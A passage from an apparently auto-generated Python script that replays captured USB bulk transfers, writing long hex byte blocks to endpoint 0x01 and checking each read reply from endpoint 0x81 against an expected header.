b\"\\x4D\\xA5\\x18\\x27\\xFC\\x6D\\x6B\\x0F\\xD6\\xCB\\xE4\\x72\\xB1\\x1C\\xB2\\xE7\"\n b\"\\xCB\\x13\\x10\\xA5\\xF0\\x6E\\xE4\\x5A\\x66\\xB3\\x53\\xEF\")\n # Generated from packet 1879/1880\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1879/1880\")\n # Generated from packet 1881/1882\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x66\\xB3\\xE7\\x4C\\x75\\x1C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5B\\xD4\\x3A\\x98\\xE6\\x27\\x4C\\x8B\"\n b\"\\xA6\\x86\\x92\\x5C\\x68\\x14\\x42\\x51\\x05\\x60\\xBF\\x1D\\x9B\\xF4\\xCA\\xF3\"\n b\"\\x0D\\xB5\\xB5\\xD0\\x1C\\x9E\\x1D\\x8E\\xF0\\xD7\\x98\\x18\\xDB\\x20\\x54\\x60\"\n b\"\\x11\\x01\\xF4\\x24\\xFD\\xE7\\x71\\xD0\\x2A\\x52\\x60\\xD5\\x33\\x6B\\xEC\\x96\"\n b\"\\xC0\\x60\\xED\\xA8\\x99\\x8D\\x4B\\x3E\\x5D\\xBE\\xDA\\x41\\xCB\\x27\\x15\\xFE\"\n b\"\\xE3\\x57\\xF7\\x5A\\xF0\\x5B\\x8B\\xB6\\x10\\x76\\xCF\\x78\\x52\\x13\\x29\\xFC\"\n b\"\\x6F\\xCC\\x95\\x7E\\x5F\\x62\\x10\\x1F\\x83\\xC5\\x7C\\xCF\\x97\\x39\\x93\\x66\"\n b\"\\xBC\\x3E\\x01\\xD7\\x7A\\x2C\\xD7\\x1D\\x20\\xBA\\xED\\x6D\\x0C\\xDF\\x9F\\x63\"\n b\"\\x21\\x96\\x1E\\x25\\xFF\\x87\\x1A\\x1B\\x03\\x7D\\xD4\\x86\\x46\\x25\\x94\\x5A\"\n b\"\\x19\\x19\\xEF\\xBD\\x31\\x85\\x4B\\x32\\xC3\\x4A\\x2A\\x28\\xCE\\x2C\\x0C\\x67\"\n b\"\\x74\\xC4\\x51\\x4D\\x0A\\xA9\\xAC\\xCA\\x38\\x00\\x0B\\x54\\x5F\\x29\\x90\\x1C\"\n b\"\\x35\\x43\\x5B\\x4F\\x72\\x72\\x14\\xAA\\x99\\x97\\xB6\\x87\\xF0\\x11\\xEA\\x49\"\n b\"\\x64\\x9B\\xF1\\x11\\xFD\\x28\\x8A\\x2D\\x26\\xAB\\xDA\\x51\\xC6\\x3D\\x6E\\xB5\"\n b\"\\x43\\x7E\\x4A\\x12\\x6F\\xFF\\x5C\\x45\\x08\\x7C\\x84\\x8F\\x70\\x56\\x67\\x07\"\n b\"\\xE5\\xF1\\x3B\\x7F\\x24\\x64\\x5D\\xFE\\xEE\\x2E\\x29\\xD8\\x2B\\x09\\xCC\\x00\"\n b\"\\x59\\xE8\\xDD\\x2C\\xB4\\x57\\xE0\\x69\\xA8\\xC0\\xB1\\x78\\x80\\xE9\\x1E\\x8B\"\n b\"\\xA3\\xC1\\xB1\\x7A\\x56\\x9B\\x15\\xA8\\x44\\x52\\x8E\\xA7\")\n # Generated from packet 1883/1884\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1883/1884\")\n # Generated from packet 1885/1886\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x38\\x32\\x85\\x28\\x06\\x31\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x65\\x58\\xBF\\x18\\xCD\\x4B\\x8A\\x82\"\n b\"\\xB9\\x64\\x07\\x9F\\x61\\xA3\\x3D\\x5F\\x4B\\x74\\x10\\xF9\\x4C\\x34\\x0C\\xAB\"\n b\"\\x7A\\x2F\\x57\\xDD\\xA2\\x6C\\x6C\\xD4\\xA6\\x5B\\x27\\xFF\\x40\\x81\\xD8\\xA0\"\n b\"\\x54\\x58\\x94\\xB4\\x82\\x5D\\x1A\\x6D\\x5A\\x3A\\x2C\\x25\\x26\\x95\\x6A\\xE7\"\n b\"\\x81\\xBA\\xEE\\xC3\\xDB\\x27\\xD5\\xA8\\x70\\x9E\\x3D\\x1C\\xD3\\xF0\\xE6\\x48\"\n b\"\\xCA\\x02\\x6C\\xC5\\x53\\x15\\x37\\xCE\\x0A\\x01\\x6B\\xF6\\x22\\x09\\x81\\x2D\"\n b\"\\x95\\x44\\xF5\\x72\\xC8\\x4F\\xD4\\xA5\\x68\\xA6\\xBE\\x8C\\x66\\x08\\x6C\\xBD\"\n b\"\\xE1\\x66\\x00\\xBA\\x7F\\x3B\\x48\\xEE\\x5A\\xC1\\x27\\x26\\x95\\xF0\\xD7\\x87\"\n b\"\\x1E\\x52\\x31\\xC5\\xD0\\x86\\xBA\\xF9\\x34\\x07\\x6C\\xEB\\xEF\\x6B\\x88\\x0D\"\n b\"\\x17\\x06\\xAC\\xF7\\x24\\xF7\\x7D\\xEE\\x77\\x42\\x2D\\x8F\\xBD\\x62\\x0B\\x94\"\n b\"\\xDA\\xC0\\x72\\x42\\x2E\\x75\\x70\\xDD\\xA5\\x60\\xD2\\x2A\\x70\\xA0\\x88\\x90\"\n b\"\\xB6\\x8A\\x10\\x08\\x4D\\x06\\x3F\\x3A\\xD3\\x36\\x31\\x1A\\x46\\x89\\x30\\xE9\"\n b\"\\x9D\\x26\\x0E\\xDB\\xD9\\xB3\\xE8\\xE8\\x56\\x5E\\xD2\\x98\\x20\\x28\\x84\\xDF\"\n b\"\\x61\\x48\\x13\\x33\\xF1\\x03\\x5F\\x4E\\x27\\x17\\x92\\x1D\\x79\\x3B\\x97\\x24\"\n b\"\\x59\\x75\\xBD\\xAE\\xF6\\xC2\\x65\\x76\\x4D\\xA7\\x39\\xEA\\x50\\xF4\\xE3\\x8A\"\n b\"\\xD2\\x1E\\xAB\\x17\\xEE\\xF4\\x08\\x8D\\x89\\x38\\x58\\xFE\\x0E\\xAF\\xD9\\x93\"\n b\"\\x51\\xAC\\x1B\\x4F\\x39\\x12\\x2A\\xF9\\x1F\\xD5\\x9D\\x4E\")\n # Generated from packet 1887/1888\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1887/1888\")\n # Generated from packet 1889/1890\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBD\\x70\\x7D\\x2B\\x8C\\x00\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC7\\xB0\\x7D\\xA2\\x87\\xF5\\x20\\x72\"\n b\"\\x4C\\xBC\\x8F\\xE8\\xB5\\x4E\\x25\\xF4\\xE5\\x3C\\xDF\\xDA\\x14\\x89\\x0E\\xDC\"\n b\"\\xBC\\x6B\\x6A\\xD4\\x91\\x2A\\xE6\\xFD\\xBE\\xBB\\x88\\x22\\x57\\x86\\x8D\\xC8\"\n b\"\\x36\\x48\\x78\\x8B\\x38\\x47\\x31\\xD7\\x31\\x1D\\x87\\xBB\\xF7\\x8C\\xE5\\xBA\"\n b\"\\x15\\xD5\\xC2\\xD3\\x80\\x53\\xE0\\x81\\xE3\\xE9\\xBA\\x9C\\x97\\x74\\x00\\x13\"\n b\"\\xA0\\x7A\\x2D\\x7D\\xBB\\x76\\x7D\\x4E\\x22\\x70\\xF8\\x52\\x69\\x67\\xAA\\x96\"\n b\"\\xEF\\x88\\x92\\xEA\\x79\\xF7\\x27\\xB2\\x39\\x11\\x2D\\xE3\\x09\\xCD\\xB8\\x21\"\n b\"\\xE0\\xC1\\x1A\\xE3\\xBF\\x08\\xD3\\xAB\\x7B\\xCD\\x1F\\x70\\xA5\\xCE\\x49\\xAF\"\n b\"\\x8C\\x75\\xA5\\xE7\\xEB\\xD7\\x67\\x88\\xEA\\x24\\x66\\xAD\\xD2\\x9F\\xBE\\xD4\"\n b\"\\x71\\x0C\\xE2\\x9B\\x14\\x05\\x4C\\x6C\\x35\\xB8\\xF9\\x98\\x5E\\x78\\x60\\x2F\"\n b\"\\x07\\x9C\\xD8\\x2B\\x5F\\xBC\\x0F\\x44\\xA2\\xEC\\x4E\\x3E\\x8C\\xB1\\xF4\\x1C\"\n b\"\\xAF\\xF5\\x37\\x4A\\x44\\x55\\x5B\\x7B\\x38\\x61\\x39\\x6C\\xC1\\x1B\\x24\\x23\"\n b\"\\x6E\\xCC\\x89\\x28\\xB6\\x7A\\xF8\\x3E\\xAD\\xBB\\x38\\x7A\\x03\\xBA\\x70\\x3C\"\n b\"\\x93\\xA2\\x58\\xE3\\x82\\x66\\x94\\x3E\\xA4\\x3B\\x38\\x7F\\x22\\x07\\xE4\\x66\"\n b\"\\x58\\x37\\xEA\\xF2\\x27\\xBB\\x90\\xDB\\xC0\\x9A\\xBB\\xBF\\xA6\\x8E\\xE5\\x2B\"\n b\"\\x68\\x92\\x01\\x1C\\xCB\\x13\\x89\\xB4\\xF7\\x29\\x0D\\xA0\\x15\\x9A\\x3A\\x98\"\n b\"\\x7E\\x0E\\x87\\xB4\\xA8\\x0F\\x6D\\x16\\x4F\\xFA\\x21\\x90\")\n # Generated from packet 1891/1892\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1891/1892\")\n # Generated from packet 1893/1894\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9C\\x33\\x51\\xAA\\x7E\\x35\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAF\\x7D\\x16\\x9A\\x30\\x9F\\x02\\x84\"\n b\"\\xAA\\xFB\\x23\\xDC\\xB5\\x88\\x7F\\xE9\\xBD\\x29\\xE9\\xEA\\xC1\\x4C\\x51\\xF4\"\n b\"\\xF2\\x5C\\x36\\x52\\x58\\xBC\\x10\\xEE\\xD1\\xF7\\x13\\xCB\\x8A\\xA7\\x85\\xC3\"\n b\"\\xB0\\xFE\\x6C\\x60\\x11\\x84\\xDF\\xBD\\xB2\\xF6\\x58\\x0A\\x68\\xB0\\x3F\\x2D\"\n b\"\\xB0\\x51\\x57\\xF1\\x92\\xB2\\x34\\x93\\x41\\x13\\x8D\\xF0\\x59\\xCA\\xE8\\xF0\"\n b\"\\xED\\xA0\\x79\\xA1\\x78\\x1B\\x6E\\x81\\x75\\x83\\x5F\\x46\\xCD\\xEC\\xCD\\xBF\"\n b\"\\x4E\\x53\\x10\\xBA\\xE2\\x5D\\x22\\x10\\x18\\x9B\\xA8\\xD4\\x22\\x76\\xEE\\x5C\"\n b\"\\x45\\xBB\\x5D\\x60\\xDD\\x9E\\xAF\\xD1\\xF7\\xF4\\x8C\\xCD\\x19\\x0E\\x44\\x11\"\n b\"\\x01\\x2F\\xD5\\xB9\\x31\\xB5\\xC6\\xF1\\x48\\x01\\x53\\xD3\\x72\\x41\\xB1\\x8E\"\n b\"\\x0C\\xF9\\x3E\\x13\\x6A\\x86\\x79\\x49\\xAA\\x0D\\xDC\\xEF\\x23\\xF3\\x8E\\x01\"\n b\"\\x89\\x76\\x75\\x79\\xE9\\x41\\xFE\\xF8\\xD7\\xA7\\x22\\x50\\x51\\x43\\xDD\\xBA\"\n b\"\\xBC\\x74\\x68\\x0F\\x10\\x12\\x62\\x5E\\xE9\\x3D\\x3A\\xCF\\x7B\\x12\\xFE\\x38\"\n b\"\\xCD\\x42\\xD5\\x21\\xE7\\x99\\x82\\xAB\\xBB\\x61\\x65\\xBB\\xC3\\xF4\\x20\\x81\"\n b\"\\x4E\\xAC\\x7A\\xB4\\xCF\\x77\\x2F\\x92\\xAE\\x37\\x57\\xEB\\xCB\\x73\\x26\\x93\"\n b\"\\x2C\\x34\\x91\\x99\\xD6\\x51\\x9D\\xB6\\x8F\\x6D\\x1A\\x6E\\x54\\x2B\\x86\\xAF\"\n b\"\\x35\\xCF\\xDD\\xA7\\xC3\\xB3\\x26\\xB0\\xD9\\xEC\\x3A\\x37\\x58\\x75\\xC2\\xA2\"\n b\"\\xEA\\x8F\\x8C\\x5E\\x0F\\xF5\\xFE\\xEA\\x88\\xB1\\xF8\\x51\")\n # Generated from packet 1895/1896\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1895/1896\")\n # Generated from packet 1897/1898\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x05\\xEE\\x25\\x10\\x87\\x0A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x96\\x3A\\x98\\x84\\xCD\\x96\\x5D\"\n b\"\\x06\\x60\\x86\\xC4\\xAD\\xEE\\xFF\\x72\\xB2\\x17\\x8F\\xA5\\xB3\\xD6\\x37\\xE9\"\n b\"\\xC6\\xB9\\xF5\\xEA\\x35\\xFE\\xBE\\x76\\x28\\x1B\\x60\\x5E\\xE2\\x50\\x81\\x13\"\n b\"\\x4D\\x59\\x3F\\x76\\x83\\x8F\\x7F\\x29\\xBD\\x24\\x4C\\x0C\\x25\\x87\\x1E\\xE8\"\n b\"\\xB7\\x58\\x3D\\xD2\\x91\\xFA\\x9E\\xF2\\x80\\x01\\xFA\\xA5\\xF6\\xEB\\x6D\\xCC\"\n b\"\\x1B\\x2D\\x97\\xA2\\x1C\\xE1\\xC2\\xAA\\xF9\\xC0\\xBD\\x8C\\x58\\x2F\\x18\\xFA\"\n b\"\\x32\\x62\\xD4\\xF7\\x83\\x58\\xC0\\xF6\\xFF\\xA7\\xEE\\x0C\\xDB\\x91\\x8B\\x3E\"\n b\"\\xB3\\x2A\\x7C\\x4F\\x57\\x07\\x2C\\x9C\\xCE\\x30\\x69\\x73\\xAC\\xF8\\xDF\\xCA\"\n b\"\\x2F\\xBE\\x18\\xFE\\x9D\\x12\\x5B\\x5B\\x6B\\xC7\\x66\\x0C\\x28\\x14\\x64\\x58\"\n b\"\\xB3\\x13\\x1D\\x2C\\x8B\\x89\\x9D\\xCC\\x7C\\x01\\xEA\\x8B\\x1C\\x24\\x0A\\xE6\"\n b\"\\xDA\\x81\\xCD\\x62\\x4C\\x17\\xB2\\x2A\\x1C\\x90\\x1D\\xB4\\x27\\xB6\\x60\\xD5\"\n b\"\\xA9\\xDE\\xA3\\x8F\\x1B\\x08\\x99\\x6E\\xD0\\xEA\\x23\\xB7\\x48\\xAA\\xB7\\xDF\"\n b\"\\xEE\\x59\\x66\\x78\\xB7\\x25\\xE2\\x38\\xF3\\xC6\\x28\\xC0\\x78\\x31\\xBC\\x0B\"\n b\"\\xFC\\x34\\x87\\xB7\\xDC\\xF7\\xFD\\x15\\x22\\x6D\\xE6\\x45\\xFC\\xA4\\xD0\\x6F\"\n b\"\\x83\\x29\\xE3\\x6D\\x25\\x60\\x28\\x1A\\x62\\xAA\\xFD\\xD9\\xF4\\x22\\xC8\\xDA\"\n b\"\\x6D\\x68\\x45\\xE3\\x41\\xCE\\xF4\\xE1\\xBC\\xA3\\xEE\\x61\\xF6\\x52\\xF1\\xED\"\n b\"\\xC5\\x82\\xBE\\x24\\x7F\\x3E\\x4A\\x69\\x30\\x41\\x4A\\x4F\")\n # Generated from packet 1899/1900\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1899/1900\")\n # Generated from packet 1901/1902\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBF\\x7A\\x28\\x92\\x78\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x5D\\x80\\x0C\\x69\\xF2\\xAC\\xF4\\x22\"\n b\"\\x7D\\xCC\\x20\\x5B\\x1E\\xD3\\x84\\xFF\\xD6\\x8A\\xC5\\x95\\x52\\x03\\xB4\\x15\"\n b\"\\x37\\x3E\\x6F\\xF0\\xFE\\x1E\\x8B\\x1E\\xF5\\x07\\xB2\\xBB\\x63\\x89\\x62\\x29\"\n b\"\\x80\\x3B\\xE0\\xC3\\x94\\xB5\\x76\\x57\\x01\\xA6\\x42\\x42\\x90\\xA1\\x19\\xB3\"\n b\"\\xA1\\x80\\xA5\\xF3\\x43\\xF3\\x27\\xD4\\x47\\xD1\\xF9\\x13\\xB3\\x43\\xAF\\x9C\"\n b\"\\x3B\\xBA\\x81\\x52\\x88\\x6C\\xEE\\xC5\\x36\\x69\\x3B\\x55\\x1F\\xE9\\x00\\x43\"\n b\"\\x5D\\xBE\\x70\\x35\\x46\\xA7\\x1E\\x9B\\x71\\x98\\xD5\\x2E\\x9D\\xC4\\x7A\\x43\"\n b\"\\xE4\\x43\\x10\\xC7\\x5A\\xDB\\xAD\\x43\\xBD\\x57\\xEA\\xD1\\xDE\\xF1\\xE6\\x3B\"\n b\"\\xAD\\x48\\x08\\x3D\\xCC\\x68\\x6E\\xEE\\xDB\\x01\\x59\\x42\\x8D\\x38\\x9B\\x02\"\n b\"\\x71\\x88\\x34\\x46\\xD2\\x58\\xC4\\x2A\\xEF\\x85\\x7A\\x67\\x56\\x3E\\xA6\\x4E\"\n b\"\\x8E\\x2C\\xA8\\x78\\x22\\x8D\\xEC\\x7B\\xCF\\xA8\\xEE\\x6F\\xCC\\x20\\x55\\x81\"\n b\"\\x7A\\xB8\\x4B\\x9C\\x18\\x97\\xD2\\x85\\x3B\\x31\\xE4\\xA9\\x33\\x37\\x1A\\x34\"\n b\"\\x40\\xF7\\x57\\x2D\\xB6\\x54\\xF2\\xC6\\xD5\\x68\\xB4\\x88\\xAD\\xF4\\x4B\\x03\"\n b\"\\xFE\\x7E\\x5B\\xE3\\x48\\xE9\\x97\\x16\\x97\\x8D\\xD8\\xD2\\xD5\\x60\\x10\\xCC\"\n b\"\\x04\\x98\\xEA\\xB1\\x53\\xEA\\x33\\x09\\xA7\\xC2\\x90\\x40\\xB3\\xF6\\x40\\xAB\"\n b\"\\x6F\\x3E\\x38\\xEA\\xC4\\xC7\\xD5\\xB5\\x2C\\x54\\x26\\x71\\x99\\x7B\\x8F\\xDE\"\n b\"\\x70\\x91\\xC0\\xEB\\x1D\\x2C\\x0B\\xCB\\xF2\\x5C\\x51\\xB3\")\n # Generated from packet 1903/1904\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1903/1904\")\n # Generated from packet 1905/1906\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x8A\\x7B\\x13\\x76\\x73\\x6D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xDC\\xB3\\x55\\xBC\\x1B\\xBB\\x47\\x7F\"\n b\"\\x16\\x9F\\x16\\xB6\\x09\\x86\\xA1\\xA0\\xD0\\xC0\\x1B\\x37\\xAC\\x1A\\x7C\\x9C\"\n b\"\\x20\\xAE\\x25\\x2A\\x00\\xF1\\x42\\x42\\xE1\\xC5\\xD4\\x09\\xE7\\x65\\x78\\x45\"\n b\"\\x20\\xDC\\xE0\\xEA\\xD3\\x56\\x2C\\x2D\\xD0\\x60\\x0E\\x7E\\xC2\\x17\\x38\\xD4\"\n b\"\\xF0\\x3C\\x62\\x65\\xC8\\xF0\\x48\\xE7\\x7C\\x17\\x95\\xF6\\x5C\\xE9\\x49\\x73\"\n b\"\\x2D\\xFD\\xF3\\x04\\x8F\\x01\\xAA\\xB3\\xEC\\x83\\x6B\\x47\\x85\\x72\\x26\\x05\"\n b\"\\x69\\xF4\\x8E\\xE3\\x00\\xA6\\x28\\xC8\\xE3\\x76\\x8B\\x65\\x53\\xD1\\x6B\\x80\"\n b\"\\x48\\x0F\\x88\\x4A\\xEB\\x86\\xB4\\x94\\xB1\\xAD\\x12\\xF8\\xC6\\xAF\\x52\\x06\"\n b\"\\xE9\\xEF\\x34\\x2A\\x5B\\x88\\xFB\\x29\\x10\\x29\\x06\\xFE\\x8D\\x1B\\x61\\xDC\"\n b\"\\x7D\\x9E\\x65\\x7D\\x31\\x25\\xBF\\xC7\\xCA\\x47\\x32\\x25\\x4A\\x3F\\xB6\\x2A\"\n b\"\\x37\\x66\\x4B\\xDC\\xFA\\x2C\\xDF\\x10\\x17\\x61\\xC7\\x94\\x38\\x7F\\x71\\x14\"\n b\"\\x93\\x22\\x49\\xBE\\xE2\\xDD\\x9C\\xA7\\xDE\\x1D\\xCA\\x17\\xBF\\xE9\\xD4\\x5D\"\n b\"\\xC2\\x12\\x5A\\xA0\\x22\\x53\\x57\\x6C\\xDB\\xAB\\x82\\xA8\\xE6\\xBF\\xEA\\xB1\"\n b\"\\x32\\x68\\xF1\\x01\\xE7\\x55\\xCD\\x92\\x9D\\xAD\\x1D\\x1D\\x14\\x76\\x2D\\xF8\"\n b\"\\xA5\\x60\\xC1\\xA5\\xFC\\x63\\x6E\\x9E\\x4B\\xF4\\x2C\\xC8\\xBA\\x6F\\xE8\\xD3\"\n b\"\\xB4\\x32\\x7F\\x2E\\x92\\xFF\\xFC\\xBD\\x89\\x7F\\xE1\\x33\\x1A\\x3D\\x44\\x42\"\n b\"\\x0D\\x6F\\x25\\xC5\\x8B\\x82\\xD8\\xD7\\x4C\\xF4\\x2C\\x1F\")\n # Generated from packet 1907/1908\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1907/1908\")\n # Generated from packet 1909/1910\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x80\\xF5\\xC4\\x24\\x4D\\x08\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE6\\xEF\\xA5\\x05\\x7C\\x46\\xF6\\xC0\"\n b\"\\xDE\\x41\\x42\\x56\\x0D\\x19\\x13\\x23\\xAE\\x70\\x66\\x87\\x87\\x7E\\x8E\\xC1\"\n b\"\\x43\\x76\\xA0\\x25\\x17\\xD0\\x6D\\x66\\xC3\\x69\\xB0\\xB8\\x94\\x1D\\x13\\xD6\"\n b\"\\x4F\\x49\\xF3\\x2E\\xB5\\x2E\\x13\\x84\\x41\\x35\\x2B\\xFE\\x12\\xEF\\x4B\\xBA\"\n b\"\\x3C\\xB4\\xC7\\x96\\xA0\\x74\\x2C\\x91\\xCF\\x2E\\xAA\\x94\\xF7\\x0D\\xB2\\x80\"\n b\"\\xC1\\x1D\\x70\\xD8\\x2A\\xC0\\xC7\\x2D\\x87\\x9E\\x03\\x22\\x50\\xE5\\x95\\x0A\"\n b\"\\x48\\xEE\\xFA\\x2E\\xCE\\xB7\\x9D\\x48\\xFD\\xD1\\x2A\\x07\\xA1\\x2E\\xDF\\xF5\"\n b\"\\x5C\\xF5\\x87\\x34\\x4F\\x44\\x92\\x27\\x29\\xE3\\x24\\x84\\x94\\xB0\\x1D\\x30\"\n b\"\\x67\\xC7\\x0A\\x27\\xC9\\xA5\\xF8\\xC1\\xC7\\xDE\\xB8\\xFA\\x92\\x36\\x27\\xD0\"\n b\"\\x8D\\x5B\\x86\\xB9\\xAB\\x00\\xBD\\x8B\\xC5\\x39\\x76\\x2C\\x6E\\x2E\\x4B\\x13\"\n b\"\\x36\\xA2\\xD0\\xB4\\xD8\\xC5\\x24\\x35\\x1D\\x55\\x73\\xA4\\xF8\\x2E\\x02\\xEC\"\n b\"\\x28\\x36\\xA1\\x70\\x73\\xEA\\x6B\\x27\\x8F\\x1B\\xE0\\x3B\\x3B\\x02\\x6C\\x49\"\n b\"\\x2A\\xAF\\x85\\x11\\x73\\x06\\xC9\\x90\\x2D\\xFF\\x3C\\xD2\\x36\\x01\\x60\\xCD\"\n b\"\\xA9\\xDD\\xE7\\xB0\\xAB\\x0A\\xCE\\xB0\\x38\\x05\\xD6\\xAA\\xE5\\x5D\\x13\\x2B\"\n b\"\\x58\\x35\\x48\\x50\\x6F\\xF0\\x16\\x08\\x95\\xC1\\x22\\xCD\\x70\\xA7\\x16\\x51\"\n b\"\\x8D\\xC8\\x54\\xD8\\xDA\\xFF\\x6E\\x41\\x82\\x5A\\xB8\\x2F\\xE2\\x91\\x1B\\x66\"\n b\"\\x6D\\xC0\\xD2\\xC7\\xA4\\xD9\\xA5\\x36\\x54\\xE1\\x7E\\x5D\")\n # Generated from packet 1911/1912\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1911/1912\")\n # Generated from packet 1913/1914\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE4\\xE5\\x74\\xE0\\xD0\\x67\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBF\\xF1\\xBF\\x18\\xBF\\x50\\x49\\x6A\"\n b\"\\x0E\\x47\\x8C\\xC0\\x92\\xB8\\x90\\x51\\x90\\x2E\\xA0\\x55\\x47\\xA6\\x11\\xB7\"\n b\"\\x50\\x7F\\xDA\\x35\\x8A\\xC7\\xB2\\xFE\\xE9\\xAE\\x17\\x4B\\x99\\x31\\x75\\xA2\"\n b\"\\x70\\x9F\\xF4\\x14\\xB2\\x85\\x07\\x7D\\x87\\xD0\\x3C\\x7B\\x94\\x3E\\xB4\\xCD\"\n b\"\\xDC\\x85\\x9E\\x1B\\xB8\\x3C\\x63\\x1A\\x7C\\xBC\\xC0\\x0C\\x7D\\xA3\\x26\\x82\"\n b\"\\xBF\\x8A\\xFA\\x9D\\x4D\\xB5\\xE9\\xE2\\x5D\\xFB\\x59\\x46\\x7B\\x7A\\x2C\\x2B\"\n b\"\\xA1\\x0B\\x03\\x82\\x60\\x71\\x46\\x57\\x3A\\x8E\\x7E\\xC5\\xFE\\x90\\x72\\xBD\"\n b\"\\x38\\x9C\\xE7\\x11\\x15\\xE1\\xA7\\x82\\x30\\x1B\\x2C\\xD2\\x49\\x37\\x85\\xBF\"\n b\"\\x94\\x32\\xC8\\x0C\\x5A\\xBE\\xAB\\x8F\\xC3\\x1D\\x4F\\x3A\\x98\\xAF\\xF8\\x65\"\n b\"\\x32\\xFF\\x79\\xCB\\xF7\\xD2\\x01\\x49\\xC8\\xCF\\x2F\\xBB\\x8F\\x7E\\x36\\x5A\"\n b\"\\x6A\\x0E\\x00\\xFE\\x10\\xDF\\xFB\\x57\\xA2\\x16\\x3F\\xD5\\xFD\\x3A\\x4E\\x9A\"\n b\"\\xB1\\x56\\x9D\\xB5\\x07\\x74\\x3C\\x5A\\x86\\x52\\x62\\x37\\x51\\xFF\\x91\\xC9\"\n b\"\\xFE\\x7A\\xBB\\xEE\\x61\\x59\\x09\\x69\\x54\\x22\\x09\\xA5\\x75\\x54\\x90\\x5B\"\n b\"\\x6E\\xAA\\x6E\\x81\\x21\\xC9\\x62\\x80\\xB3\\xC7\\x92\\x09\\x8B\\xF9\\x43\\xAC\"\n b\"\\xB7\\x17\\x22\\x10\\xD3\\xB6\\x28\\xD4\\x77\\x3C\\xEE\\x5C\\x9A\\xF6\\xDD\\x60\"\n b\"\\x08\\xD6\\xB5\\x34\\x22\\xBE\\x9A\\x8C\\xCC\\x5A\\x8B\\x24\\x0C\\xC7\\xF1\\x3C\"\n b\"\\xB1\\x4A\\x44\\xD1\\x0C\\xE4\\x2C\\xC9\\x2D\\x21\\x04\\x18\")\n # Generated from packet 1915/1916\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1915/1916\")\n # Generated from packet 1917/1918\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB9\\x61\\x32\\x31\\xBE\\x54\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0E\\xEA\\x08\\x26\\xAF\\x65\\xE8\\x39\"\n b\"\\xA9\\xF0\\x7E\\x95\\xF5\\x8F\\x9D\\x09\\x09\\x94\\x13\\x7E\\xE2\\x48\\x37\\x91\"\n b\"\\x03\\xDD\\x13\\x9B\\x67\\x09\\x68\\xD4\\xEB\\xBA\\x00\\xB0\\xE3\\xCE\\xC2\\xE9\"\n b\"\\xDE\\x29\\x39\\xAB\\xF5\\x71\\x7F\\xB4\\x97\\x80\\xAC\\x7D\\xB0\\xD5\\x93\\xB8\"\n b\"\\x1A\\xDC\\x22\\x34\\x83\\x39\\x1A\\x39\\xA6\\x00\\x08\\xE7\\x13\\x4F\\xE9\\x65\"\n b\"\\x30\\x2E\\x7E\\xB9\\x41\\x51\\xB6\\xB6\\xD7\\x12\\xAB\\x52\\x78\\xDF\\x8A\\x42\"\n b\"\\xED\\x79\\x61\\xE1\\xA8\\xE0\\x18\\xA0\\xF1\\xC7\\xC8\\x2D\\x4E\\x64\\xA5\\x23\"\n b\"\\x2A\\x36\\x06\\xAE\\x60\\x97\\x11\\x68\\x41\\x55\\xAC\\x1C\\xEE\\xDA\\x7B\\x93\"\n b\"\\xCC\\xF5\\x42\\xF2\\x17\\x37\\x79\\xCC\\x84\\x58\\x64\\x22\\x70\\x61\\x44\\xF6\"\n 